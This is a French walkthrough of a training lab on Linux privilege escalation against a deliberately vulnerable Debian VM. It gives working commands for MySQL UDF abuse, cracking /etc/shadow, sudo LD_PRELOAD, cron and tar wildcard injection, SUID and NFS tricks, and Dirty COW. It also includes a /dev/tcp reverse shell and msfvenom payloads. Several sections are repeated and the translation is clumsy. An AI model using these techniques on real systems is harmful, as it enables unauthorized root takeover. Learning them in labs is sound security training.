Maitrise de l'escalade de de privilèges!

Linux . Pour ce faire, vous devez d'abord déployer une VM Debian intentionnellement vulnérable. Cette VM a été créée par Sagi Shahar dans le cadre de son atelier local d'escalade de privilèges , mais a été mise à jour par Tib3rius dans le cadre de son escalade de privilèges Linux pour OSCP et au-delà ! cours sur Udemy. Des explications complètes sur les différentes techniques utilisées dans cette salle y sont disponibles, ainsi que des démos et des conseils pour trouver des élévations de privilèges sous Linux .

Assurez-vous que vous êtes connecté au VPN TryHackMe ou que vous utilisez l'instance Kali dans le navigateur avant d'essayer d'accéder à la VM Debian !

SSH devrait être disponible sur le port 22. Vous pouvez vous connecter au compte « utilisateur » à l'aide de la commande suivante :

```
ssh user@10.10.16.69
```

Si le message suivant s'affiche : « Êtes-vous sûr de vouloir continuer la connexion (oui/non) ? » tapez oui et appuyez sur Entrée .

Le mot de passe du compte « utilisateur » est « password321 ».

Remarque : Si vous obtenez une erreur indiquant cela, c'est parce qu'OpenSSH est obsolète ssh-rsa. Ajoutez à votre commande pour vous connecter. `Unable to negotiate with <IP> port 22: no matching how to key type found. Their offer: ssh-rsa, ssh-dss-oHostKeyAlgorithms=+ssh-rsa`

Les tâches suivantes vous guideront à travers différentes techniques d'élévation de privilèges. Après chaque technique, vous devriez avoir un shell racine. N'oubliez pas de quitter le shell et/ou de rétablir une session en tant que compte « utilisateur » avant de commencer la tâche suivante !

Répondre aux questions ci-dessous

Déployez la machine et connectez-vous au compte « utilisateur » à l'aide de SSH .

Question terminée

Exécutez la commande "id". Quel est le résultat?

```
uid=1000(user) gid=1000(user)
groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev
)
```

Le service MySQL s'exécute en tant que root et l'utilisateur « root » du service n'a pas de mot de passe attribué. Nous pouvons utiliser un exploit populaire qui tire parti des fonctions définies par l'utilisateur (UDF) pour exécuter des commandes système en tant que root via le service MySQL.

Accédez au répertoire /home/user/tools/mysql-udf :

```
cd /home/user/tools/mysql-udf
```

Compilez le code d'exploitation raptor_udf2.c à l'aide des commandes suivantes :

```
gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
```

Connectez-vous au service MySQL en tant qu'utilisateur root avec un mot de passe vide :

```
mysql -u root
```

Exécutez les commandes suivantes sur le shell MySQL pour créer une fonction définie par l'utilisateur (UDF) "do_system" à l'aide de notre exploit compilé :

```
use mysql;
create table foo(line blob);
insert into foo values(load_file('/home/user/tools/mysql-udf/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
```

Utilisez la fonction pour copier /bin/bash dans /tmp/rootbash et définir l'autorisation SUID :

```
select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');
```

Quittez le shell MySQL (tapez exit ou \q et appuyez sur Enter) et exécutez l'exécutable /tmp/rootbash avec -p pour obtenir un shell fonctionnant avec les privilèges root :

```
/tmp/rootbash -p
```

N'oubliez pas de supprimer l'exécutable /tmp/rootbash et de quitter le shell racine avant de continuer car vous créerez à nouveau ce fichier plus tard dans la salle !

```
rm /tmp/rootbash
exit
```

Maitrise de l'escalade de de privilèges!

Le fichier /etc/shadow contient les hachages de mot de passe utilisateur et n'est généralement lisible que par l'utilisateur root.

Notez que le fichier /etc/shadow sur la VM est lisible par tous :

```
ls -l /etc/shadow
```

Affichez le contenu du fichier /etc/shadow :

```
cat /etc/shadow
```

Chaque ligne du fichier représente un utilisateur. Le hachage du mot de passe d'un utilisateur (s'il en a un) peut être trouvé entre le premier et le deuxième deux-points (:) de chaque ligne.

Enregistrez le hachage de l'utilisateur root dans un fichier appelé hash.txt sur votre VM Kali et utilisez John the Ripper pour le pirater. Vous devrez peut-être d'abord décompresser /usr/share/wordlists/rockyou.txt.gz et exécuter la commande en utilisant sudo en fonction de votre version de Kali :

```
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

Basculez vers l'utilisateur root en utilisant le mot de passe piraté :

```
su root
```

Le fichier /etc/shadow contient les hachages de mot de passe utilisateur et n'est généralement lisible que par l'utilisateur root.

Notez que le fichier /etc/shadow sur la VM est lisible par tous :

```
ls -l /etc/shadow
```

Affichez le contenu du fichier /etc/shadow :

```
cat /etc/shadow
```

Chaque ligne du fichier représente un utilisateur. Le hachage du mot de passe d'un utilisateur (s'il en a un) peut être trouvé entre le premier et le deuxième deux-points (:) de chaque ligne.

Enregistrez le hachage de l'utilisateur root dans un fichier appelé hash.txt sur votre VM Kali et utilisez John the Ripper pour le pirater. Vous devrez peut-être d'abord décompresser /usr/share/wordlists/rockyou.txt.gz et exécuter la commande en utilisant sudo en fonction de votre version de Kali :

```
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

Basculez vers l'utilisateur root en utilisant le mot de passe piraté :

```
su root
```

Maitrise de l'escalade de de privilèges!

Le fichier /etc/passwd contient des informations sur les comptes d'utilisateurs. Il est lisible par tout le monde, mais généralement uniquement accessible en écriture par l'utilisateur root. Historiquement, le fichier /etc/passwd contenait des hachages de mots de passe utilisateur, et certaines versions de Linux autorisent toujours le stockage des hachages de mots de passe.

Notez que le fichier /etc/passwd est accessible en écriture partout :

```
ls -l /etc/passwd
```

Générez un nouveau hachage de mot de passe avec un mot de passe de votre choix :

```
openssl passwd newpasswordhere
```

Modifiez le fichier /etc/passwd et placez le hachage du mot de passe généré entre le premier et le deuxième deux-points (:) de la ligne de l'utilisateur root (en remplaçant le "x").

Basculez vers l'utilisateur root en utilisant le nouveau mot de passe :

```
su root
```

Vous pouvez également copier la ligne de l'utilisateur root et l'ajouter au bas du fichier, en remplaçant la première instance du mot « root » par « newroot » et en plaçant le hachage du mot de passe généré entre le premier et le deuxième deux-points (en remplaçant le « x »). .

Basculez maintenant vers l'utilisateur newroot, en utilisant le nouveau mot de passe :

```
su newroot
```

N'oubliez pas de quitter le shell racine avant de continuer !

Maitrise de l'escalade de de privilèges!

Répertoriez les programmes que sudo permet à votre utilisateur d'exécuter :

```
sudo -l
```

Visitez GTFOBins (https://gtfobins.github.io) et recherchez certains noms de programmes. Si le programme est répertorié avec « sudo » comme fonction, vous pouvez l'utiliser pour élever des privilèges, généralement via une séquence d'échappement.

Choisissez un programme dans la liste et essayez d'obtenir un shell racine, en utilisant les instructions de GTFOBins.

Pour un défi supplémentaire, essayez d'obtenir un shell root en utilisant tous les programmes de la liste !

Sudo peut être configuré pour hériter de certaines variables d'environnement de l'environnement de l'utilisateur.

Vérifiez quelles variables d'environnement sont héritées (recherchez les options env_keep) :

```
sudo -l
```

Maitrise de l'escalade de de privilèges!

LD_PRELOAD et LD_LIBRARY_PATH sont tous deux hérités de l'environnement de l'utilisateur. LD_PRELOAD charge un objet partagé avant tout autre lorsqu'un programme est exécuté. LD_LIBRARY_PATH fournit une liste de répertoires dans lesquels les bibliothèques partagées sont recherchées en premier.

Créez un objet partagé à l'aide du code situé dans /home/user/tools/sudo/preload.c :

```
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c
```

Exécutez l'un des programmes que vous êtes autorisé à exécuter via sudo (répertoriés lors de l'exécution de sudo -l), tout en définissant la variable d'environnement LD_PRELOAD sur le chemin complet du nouvel objet partagé :

```
sudo LD_PRELOAD=/tmp/preload.so program-name-here
```

Un shell racine devrait apparaître. Quittez le shell avant de continuer. Selon le programme que vous avez choisi, vous devrez peut-être également en sortir.

Exécutez ldd sur le fichier programme apache2 pour voir quelles bibliothèques partagées sont utilisées par le programme :

```
ldd /usr/sbin/apache2
```

Créez un objet partagé avec le même nom que l'une des bibliothèques répertoriées (libcrypt.so.1) en utilisant le code situé dans /home/user/tools/sudo/library_path.c :

```
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
```

Exécutez Apache2 en utilisant sudo, tout en définissant la variable d'environnement LD_LIBRARY_PATH sur /tmp (où nous générons l'objet partagé compilé) :

```
sudo LD_LIBRARY_PATH=/tmp apache2
```

Un shell racine devrait apparaître. Sortez de la coquille. Essayez de renommer /tmp/libcrypt .so.1 avec le nom d'une autre bibliothèque utilisée par apache2 et réexécutez apache2 en utilisant à nouveau sudo. Est-ce que ça a marché ? Sinon, essayez de comprendre pourquoi et comment le code library_path.c pourrait être modifié pour le faire fonctionner.

Les tâches Cron sont des programmes ou des scripts que les utilisateurs peuvent planifier pour s'exécuter à des heures ou à des intervalles spécifiques. Les fichiers de table Cron (crontabs) stockent la configuration

des tâches cron. La crontab à l'échelle du système se trouve dans /etc/crontab.

Affichez le contenu de la crontab à l'échelle du système :

```
cat /etc/crontab
```

Il devrait y avoir deux tâches cron programmées pour s'exécuter chaque minute. L'un exécute overwrite.sh, l'autre exécute /usr/local/bin/compress.sh.

Localisez le chemin complet du fichier overwrite.sh :

```
locate overwrite.sh
```

Notez que le fichier est accessible en écriture partout :

```
ls -l /usr/local/bin/overwrite.sh
```

Remplacez le contenu du fichier overwrite.sh par ce qui suit après avoir modifié l'adresse IP par celle de votre box Kali.

```
#!/bin/bash
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
```

Configurez un écouteur netcat sur votre box Kali sur le port 4444 et attendez que la tâche cron s'exécute (cela ne devrait pas prendre plus d'une minute). Un shell racine doit se reconnecter à votre écouteur netcat. S'il ne revérifie pas les autorisations du fichier, manque-t-il quelque chose ?

```
nc -nvlp 4444
```

Affichez le contenu de la crontab à l'échelle du système :

```
cat /etc/crontab
```

Notez que la variable PATH commence par /home/user qui est le répertoire personnel de notre utilisateur.

Maitrise de l'escalade de de privilèges!

Créez un fichier appelé overwrite.sh dans votre répertoire personnel avec le contenu suivant :

```
#!/bin/bash

cp /bin/bash /tmp/rootbash
chmod +xs /tmp/rootbash
```

Assurez-vous que le fichier est exécutable :

```
chmod +x /home/user/overwrite.sh
```

Attendez que la tâche cron s'exécute (cela ne devrait pas prendre plus d'une minute). Exécutez la commande /tmp/rootbash avec -p pour obtenir un shell exécuté avec les privilèges root :

```
/tmp/rootbash -p
```

N'oubliez pas de supprimer le code modifié, de supprimer l'exécutable /tmp/rootbash et de quitter le shell élevé avant de continuer, car vous créerez à nouveau ce fichier plus tard dans la salle !

```
rm /tmp/rootbash
exit
```

Affichez le contenu de l'autre script de tâche cron :

```
cat /usr/local/bin/compress.sh
```

Notez que la commande tar est exécutée avec un caractère générique (*) dans votre répertoire personnel.

Jetez un œil à la page GTFOBins pour tar . Notez que tar propose des options de ligne de commande qui vous permettent d'exécuter d'autres commandes dans le cadre d'une fonctionnalité de point de contrôle.

Utilisez msfvenom sur votre boîte Kali pour générer un binaire ELF de shell inversé. Mettez à jour l'adresse IP LHOST en conséquence :

```
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell.elf
```

Transférez le fichier shell.elf vers /home/user/ sur la VM Debian (vous pouvez utiliser scp ou héberger le fichier sur un serveur Web sur votre box Kali et utiliser wget). Assurez-vous que le fichier est exécutable :

```
chmod +x /home/user/shell.elf
```

Créez ces deux fichiers dans /home/user :

```
touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=shell.elf
```

Lorsque la commande tar dans la tâche cron s'exécute, le caractère générique (*) se développera pour inclure ces fichiers. Étant donné que leurs noms de fichiers sont des options de ligne de commande tar valides, tar les reconnaîtra comme tels et les traitera comme des options de ligne de commande plutôt que comme des noms de fichiers.

Configurez un écouteur netcat sur votre box Kali sur le port 4444 et attendez que la tâche cron s'exécute (cela ne devrait pas prendre plus d'une minute). Un shell racine doit se reconnecter à votre écouteur netcat.

```
nc -nvlp 4444
```

N'oubliez pas de quitter le shell racine et de supprimer tous les fichiers que vous avez créés pour empêcher la tâche cron de s'exécuter à nouveau :

```
rm /home/user/shell.elf
rm /home/user/--checkpoint=1
rm /home/user/--checkpoint-action=exec=shell.elf
```

Retrouvez tous les exécutables SUID/SGID sur la VM Debian :

```
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
```

Notez que /usr/sbin/exim-4.84-3 apparaît dans les résultats. Essayez de trouver un exploit connu pour cette version d'exim. Exploit-DB , Google et GitHub sont de bons endroits pour effectuer des recherches !

Un exploit d'élévation de privilèges local correspondant exactement à cette version d'exim devrait être disponible. Une copie peut être trouvée sur la machine virtuelle Debian à l'adresse /home/user/tools/suid/exim/cve-2016-1531.sh .

Exécutez le script d'exploit pour obtenir un shell root :

```
/home/user/tools/suid/exim/cve-2016-1531.sh
```

Maitrise de l’escalade de de privilèges!

L' exécutable /usr/local/bin/suid-so SUID est vulnérable à l'injection d'objets partagés.

Tout d’abord, exécutez le fichier et notez qu’il affiche actuellement une barre de progression avant de quitter :

```
/usr/local/bin/suid-so
```

Exécutez strace sur le fichier et recherchez dans la sortie les appels d'ouverture/accès et les erreurs « aucun fichier de ce type » :

```
strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"
```

Notez que l'exécutable tente de charger l' objet partagé **/home/user/.config/libcalc.so** dans notre répertoire personnel, mais il est introuvable.

Créez le répertoire .config pour le fichier libcalc.so :

```
mkdir /home/user/.config
```

Un exemple de code d'objet partagé peut être trouvé sur /home/user/tools/suid/libcalc.c . Cela génère simplement un shell Bash. Compilez le code dans un objet partagé à l'emplacement où l' exécutable suid-so le recherchait :

```
gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/tools/suid/libcalc.c
```

Exécutez à nouveau l' exécutable suid-so et notez que cette fois, au lieu d'une barre de progression, nous obtenons un shell racine.

```
/usr/local/bin/suid-so
```

Maitrise de l'escalade de de privilèges!

L' exécutable /usr/local/bin/suid-env peut être exploité car il hérite de la variable d'environnement PATH de l'utilisateur et tente d'exécuter des programmes sans spécifier de chemin absolu.

Tout d'abord, exécutez le fichier et notez qu'il semble essayer de démarrer le serveur Web Apache2 :

```
/usr/local/bin/suid-env
```

Exécutez des chaînes sur le fichier pour rechercher des chaînes de caractères imprimables :

```
strings /usr/local/bin/suid-env
```

Une ligne ("service apache2 start") suggère que l' exécutable **du service** est appelé pour démarrer le serveur Web, mais que le chemin complet de l'exécutable (/usr/sbin/service) n'est pas utilisé.

Compilez le code situé dans **/home/user/tools/suid/service.c** dans un exécutable appelé **service** . Ce code génère simplement un shell Bash :

```
gcc -o service /home/user/tools/suid/service.c
```

Ajoutez le répertoire actuel (ou l'emplacement du nouvel exécutable du service) à la variable PATH et exécutez l' exécutable suid-env pour obtenir un shell racine :

```
PATH=.:$PATH /usr/local/bin/suid-env
```

L' exécutable /usr/local/bin/suid-env2 est identique à **/usr/local/bin/suid-env** sauf qu'il utilise le chemin absolu de l'exécutable du service (/usr/sbin/service) pour démarrer le serveur Web Apache2.

Vérifiez cela avec des chaînes :

```
strings /usr/local/bin/suid-env2
```

Dans les versions Bash **<4.2-048**, il est possible de définir des fonctions shell avec des noms qui ressemblent à des chemins de fichiers, puis d'exporter ces fonctions afin qu'elles soient utilisées à la place de tout exécutable réel sur ce chemin de fichier.

Vérifiez que la version de Bash installée sur la VM Debian est inférieure à 4.2-048 :

```
/bin/bash --version
```

Maitrise de l'escalade de de privilèges!

Créez une fonction Bash avec le nom " **/usr/sbin/service** " qui exécute un nouveau shell Bash (en utilisant -p pour que les autorisations soient préservées) et exportez la fonction :

```
function /usr/sbin/service { /bin/bash -p; }
export -f /usr/sbin/service
```

Exécutez l' exécutable **suid-env2** pour obtenir un shell root :

```
/usr/local/bin/suid-env2
```

L' exécutable /usr/local/bin/suid-env2 est identique à **/usr/local/bin/suid-env** sauf qu'il utilise le chemin absolu de l'exécutable du service (/usr/sbin/service) pour démarrer le serveur Web Apache2.

Vérifiez cela avec des chaînes :

```
strings /usr/local/bin/suid-env2
```

Dans les versions Bash **<4.2-048**, il est possible de définir des fonctions shell avec des noms qui ressemblent à des chemins de fichiers, puis d'exporter ces fonctions afin qu'elles soient utilisées à la place de tout exécutable réel sur ce chemin de fichier.

Vérifiez que la version de Bash installée sur la VM Debian est inférieure à 4.2-048 :

```
/bin/bash --version
```

Maitrise de l'escalade de de privilèges!

Créez une fonction Bash avec le nom " **/usr/sbin/service** " qui exécute un nouveau shell Bash (en utilisant -p pour que les autorisations soient préservées) et exportez la fonction :

```
function /usr/sbin/service { /bin/bash -p; }
export -f /usr/sbin/service
```

Exécutez l' exécutable **suid-env2** pour obtenir un shell root :

```
/usr/local/bin/suid-env2
```

L' exécutable /usr/local/bin/suid-env2 est identique à **/usr/local/bin/suid-env** sauf qu'il utilise le chemin absolu de l'exécutable du service (/usr/sbin/service) pour démarrer le serveur Web Apache2.

Vérifiez cela avec des chaînes :

```
strings /usr/local/bin/suid-env2
```

Dans les versions Bash **<4.2-048,** il est possible de définir des fonctions shell avec des noms qui ressemblent à des chemins de fichiers, puis d'exporter ces fonctions afin qu'elles soient utilisées à la place de tout exécutable réel sur ce chemin de fichier.

Vérifiez que la version de Bash installée sur la VM Debian est inférieure à 4.2-048 :

```
/bin/bash --version
```

Créez une fonction Bash avec le nom " **/usr/sbin/service** " qui exécute un nouveau shell Bash (en utilisant -p pour que les autorisations soient préservées) et exportez la fonction :

```
function /usr/sbin/service { /bin/bash -p; }
export -f /usr/sbin/service
```

Exécutez l' exécutable **suid-env2** pour obtenir un shell root :

```
/usr/local/bin/suid-env2
```

Les fichiers de configuration contiennent souvent des mots de passe en texte brut ou dans d'autres formats réversibles.

Répertoriez le contenu du répertoire personnel de l'utilisateur :

```
ls /home/user
```

Notez la présence d'un fichier de configuration myvpn.ovpn . Afficher le contenu du fichier :

```
cat /home/user/myvpn.ovpn
```

Le fichier doit contenir une référence à un autre emplacement où se trouvent les informations d'identification de l'utilisateur root. Basculez vers l'utilisateur root à l'aide des informations d'identification :

```
su root
```

Maitrise de l'escalade de de privilèges!

Parfois, les utilisateurs effectuent des sauvegardes de fichiers importants mais ne parviennent pas à les sécuriser avec les autorisations appropriées.

Recherchez les fichiers et répertoires cachés à la racine du système :

```
ls -la /
```

Notez qu'il semble y avoir un répertoire caché appelé .ssh . Afficher le contenu du répertoire :

```
ls -l /.ssh
```

Notez qu'il existe un fichier lisible par tous appelé root_key . Une inspection plus approfondie de ce fichier devrait indiquer qu'il s'agit d'une clé SSH privée . Le nom du fichier suggère qu'il est destiné à l'utilisateur root.

Copiez la clé dans votre boîte Kali (il est plus facile de simplement visualiser le contenu du fichier root_key et de copier/coller la clé) et donnez-lui les autorisations appropriées, sinon votre client SSH refusera de l'utiliser :

```
chmod 600 root_key
```

Utilisez la clé pour vous connecter à la VM Debian en tant que compte root (notez qu'en raison de l'âge de la boîte, certains paramètres supplémentaires sont requis lors de l'utilisation de SSH) :

```
ssh -i root_key -oPubkeyAcceptedKeyTypes=+ssh-rsa -oHostKeyAlgorithms=+ssh-rsa
root@10.10.16.69
```

N'oubliez pas de quitter le shell racine avant de continuer !

Les fichiers créés via NFS héritent de l' ID de l'utilisateur distant . Si l'utilisateur est root et que l'écrasement de racine est activé, l'ID sera défini sur l'utilisateur "personne".

Vérifiez la configuration du partage NFS sur la VM Debian :

```
cat /etc/exports
```

Notez que l'écrasement de la racine est désactivé pour le partage /tmp .

Sur votre box Kali, passez à votre utilisateur root si vous n'exécutez pas déjà en tant que root :

```
sudo su
```

En utilisant l'utilisateur root de Kali, créez un point de montage sur votre box Kali et montez le partage /tmp (mettez à jour l'IP en conséquence) :

```
mkdir /tmp/nfs
mount -o rw,vers=3 10.10.10.10:/tmp /tmp/nfs
```

Toujours en utilisant l'utilisateur root de Kali, générez une charge utile à l'aide de msfvenom et enregistrez-la sur le partage monté (cette charge utile appelle simplement /bin/bash) :

```
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
```

Toujours en utilisant l'utilisateur root de Kali, rendez le fichier exécutable et définissez l'autorisation SUID :

```
chmod +xs /tmp/nfs/shell.elf
```

De retour sur la machine virtuelle Debian , en tant que compte utilisateur peu privilégié, exécutez le fichier pour obtenir un shell root :

```
/tmp/shell.elf
```

Maitrise de l'escalade de de privilèges!

Les exploits du noyau peuvent laisser le système dans un état instable, c'est pourquoi vous ne devez les exécuter qu'en dernier recours.

Exécutez l' outil Linux Exploit Suggester 2 pour identifier les exploits potentiels du noyau sur le système actuel :

```
perl
/home/user/tools/kernel-exploits/linux-exploit-suggester-2/linux-exploit-suggester-2.pl
```

L'exploit populaire du noyau Linux "Dirty COW" devrait être répertorié. Le code d'exploitation pour Dirty COW peut être trouvé sur /home/user/tools/kernel-exploits/dirtycow/c0w.c . Il remplace le fichier SUID /usr/bin/passwd par un fichier qui génère un shell (une sauvegarde de /usr/bin/passwd est effectuée dans /tmp/bak).

Compilez le code et exécutez-le (notez que cela peut prendre plusieurs minutes) :

```
gcc -pthread /home/user/tools/kernel-exploits/dirtycow/c0w.c -o c0w
./c0w
```

Une fois l'exploit terminé, exécutez /usr/bin/passwd pour obtenir un shell root :

```
/usr/bin/passwd
```

N'oubliez pas de restaurer le fichier /usr/bin/passwd d' origine et de quitter le shell racine avant de continuer !

```
mv /tmp/bak /usr/bin/passwd
exit
```